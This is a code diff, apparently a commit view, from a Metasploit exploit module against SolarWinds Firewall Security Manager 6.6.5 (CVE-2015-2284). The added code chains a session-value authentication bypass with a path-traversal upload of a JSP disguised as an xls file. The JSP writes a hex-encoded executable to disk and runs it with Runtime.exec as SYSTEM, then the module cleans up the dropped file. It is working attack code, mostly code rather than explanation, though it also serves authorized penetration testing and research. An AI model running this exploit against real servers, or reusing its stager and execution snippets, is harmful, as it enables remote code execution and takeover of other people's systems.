@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::EXE
13
+ include Msf ::Exploit ::FileDropper
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
@@ -19,30 +20,33 @@ def initialize(info={})
19
20
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
20
21
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
21
22
the 'username' attribute before authentication. The second problem is that the settings-new.jsp
22
- file will only check the 'username' attribute before authorizing the 'uploadFile' action, which
23
- can be exploited and allows the attacker to upload a fake xls file to the server, and results
24
- in arbitrary code execution.
23
+ file will only check the 'username' attribute before authorizing the 'uploadFile' action,
24
+ which can be exploited and allows the attacker to upload a fake xls host list file to the
25
+ server, and results in arbitrary code execution under the context of SYSTEM .
25
26
26
27
Depending on the installation, by default the Change Advisor web server is listening on port
27
28
48080 for an express install. Otherwise, this service may appear on port 8080.
29
+
30
+ Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
31
+ download it from the module's References section.
28
32
} ,
29
33
'License' => MSF_LICENSE ,
30
34
'Author' =>
31
35
[
32
36
'rgod' , # Original discovery
37
+ 'mr_me <steventhomasseeley[at]gmail.com>' , # https://twitter.com/ae0n_
33
38
'sinn3r' # Metasploit
34
39
] ,
35
40
'References' =>
36
41
[
42
+ [ 'CVE' , '2015-2284' ] ,
37
43
[ 'OSVDB' , '81634' ] ,
44
+ [ 'ZDI' , '15-107' ] ,
45
+ [ 'URL' , 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip' ]
38
46
] ,
39
- 'Payload' =>
40
- {
41
- 'BadChars' => "\x00 " ,
42
- } ,
43
47
'DefaultOptions' =>
44
48
{
45
- 'RPORT' => 48080
49
+ 'RPORT' => 48080 # Could be 8080 too
46
50
} ,
47
51
'Platform' => 'win' ,
48
52
'Targets' =>
@@ -78,24 +82,76 @@ def exploit
78
82
fail_with ( Failure ::NotVulnerable , 'Target does not appear to be a Solarwinds Firewall Security Manager' )
79
83
end
80
84
85
+ # Stage 1 of the attack
86
+ # 'admin' is there by default and you can't delete it
81
87
username = 'admin'
82
88
print_status ( "Auth bypass: Putting session value: username=#{ username } " )
83
89
sid = put_session_value ( 'admin' )
84
90
print_status ( "Your SID is: #{ sid } " )
85
91
92
+ # Stage 2 of the attack
93
+ exe = generate_payload_exe ( code : payload . encoded )
86
94
filename = "#{ Rex ::Text . rand_text_alpha ( 5 ) } .jsp"
87
- malicious_file = get_jsp_payload
88
- print_status ( "Uploading file: #{ filename } " )
95
+ # Because when we get a shell, we will be at:
96
+ # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
97
+ # So we have to adjust this filename in order to delete the file
98
+ register_files_for_cleanup ( "../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{ filename } " )
99
+ malicious_file = get_jsp_payload ( exe , filename )
100
+ print_status ( "Uploading file: #{ filename } (#{ exe . length } bytes)" )
89
101
upload_exec ( sid , filename , malicious_file )
90
102
end
91
103
92
104
93
105
private
94
106
95
107
108
+ # Returns a write-stager
109
+ # I grabbed this from Juan's sonicwall_gms_uploaded.rb module
110
+ def jsp_drop_bin ( bin_data , output_file )
111
+ jspraw = %Q|<%@ page import="java.io.*" %>\n |
112
+ jspraw << %Q|<%\n |
113
+ jspraw << %Q|String data = "#{ Rex ::Text . to_hex ( bin_data , "" ) } ";\n |
114
+
115
+ jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{ output_file } ");\n |
116
+
117
+ jspraw << %Q|int numbytes = data.length();\n |
118
+
119
+ jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n |
120
+ jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n |
121
+ jspraw << %Q|{\n |
122
+ jspraw << %Q| char char1 = (char) data.charAt(counter);\n |
123
+ jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n |
124
+ jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n |
125
+ jspraw << %Q| comb <<= 4;\n |
126
+ jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n |
127
+ jspraw << %Q| bytes[counter/2] = (byte)comb;\n |
128
+ jspraw << %Q|}\n |
129
+
130
+ jspraw << %Q|outputstream.write(bytes);\n |
131
+ jspraw << %Q|outputstream.close();\n |
132
+ jspraw << %Q|%>\n |
133
+
134
+ jspraw
135
+ end
136
+
137
+ # Returns JSP that executes stuff
138
+ # This is also from Juan's sonicwall_gms_uploaded.rb module
139
+ def jsp_execute_command ( command )
140
+ jspraw = %Q|<%@ page import="java.io.*" %>\n |
141
+ jspraw << %Q|<%\n |
142
+ jspraw << %Q|try {\n |
143
+ jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{ command } ");\n |
144
+ jspraw << %Q|} catch (IOException ioe) { }\n |
145
+ jspraw << %Q|Runtime.getRuntime().exec("#{ command } ");\n |
146
+ jspraw << %Q|%>\n |
147
+
148
+ jspraw
149
+ end
150
+
151
+
96
152
# Returns a JSP payload
97
- def get_jsp_payload
98
- 'evil inside'
153
+ def get_jsp_payload ( exe , output_file )
154
+ jsp_drop_bin ( exe , output_file ) + jsp_execute_command ( output_file )
99
155
end
100
156
101
157
@@ -108,7 +164,7 @@ def put_session_value(value)
108
164
)
109
165
110
166
unless res
111
- fail_with ( Failure ::Unknown , 'The connection timed out while setting the session value' )
167
+ fail_with ( Failure ::Unknown , 'The connection timed out while setting the session value. ' )
112
168
end
113
169
114
170
get_sid ( res )
@@ -128,13 +184,14 @@ def upload_exec(sid, filename, malicious_file)
128
184
res = upload_file ( sid , filename , malicious_file )
129
185
130
186
if !res
131
- fail_with ( Failure ::Unknown , 'The connection timed out while uploading the malicious file' )
187
+ fail_with ( Failure ::Unknown , 'The connection timed out while uploading the malicious file. ' )
132
188
elsif res && res . body . include? ( 'java.lang.NoClassDefFoundError' )
133
189
print_status ( "Payload being treated as XLS, indicates a successful upload." )
134
190
else
135
- print_status ( "Unsure of a successful upload, but we're going to try to execute anyway " )
191
+ print_status ( "Unsure of a successful upload. " )
136
192
end
137
193
194
+ print_status ( "Attempting to execute the payload." )
138
195
exec_file ( sid , filename )
139
196
end
140
197
@@ -143,6 +200,10 @@ def upload_exec(sid, filename, malicious_file)
143
200
# By default, the file will be saved at the following location:
144
201
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
145
202
def upload_file ( sid , filename , malicious_file )
203
+ # Put our payload in:
204
+ # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
205
+ filename = "../../jsp/#{ filename } "
206
+
146
207
mime_data = Rex ::MIME ::Message . new
147
208
mime_data . add_part ( malicious_file , 'application/vnd.ms-excel' , nil , "name=\" file\" ; filename=\" #{ filename } \" " )
148
209
mime_data . add_part ( 'uploadFile' , nil , nil , 'name="action"' )
@@ -163,7 +224,12 @@ def upload_file(sid, filename, malicious_file)
163
224
164
225
165
226
# Executes the malicious file and get code execution
227
+ # We will be at this location:
228
+ # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
166
229
def exec_file ( sid , filename )
230
+ send_request_cgi (
231
+ 'uri' => normalize_uri ( target_uri . path , 'fsm' , filename )
232
+ )
167
233
end
168
234
169
235
0 commit comments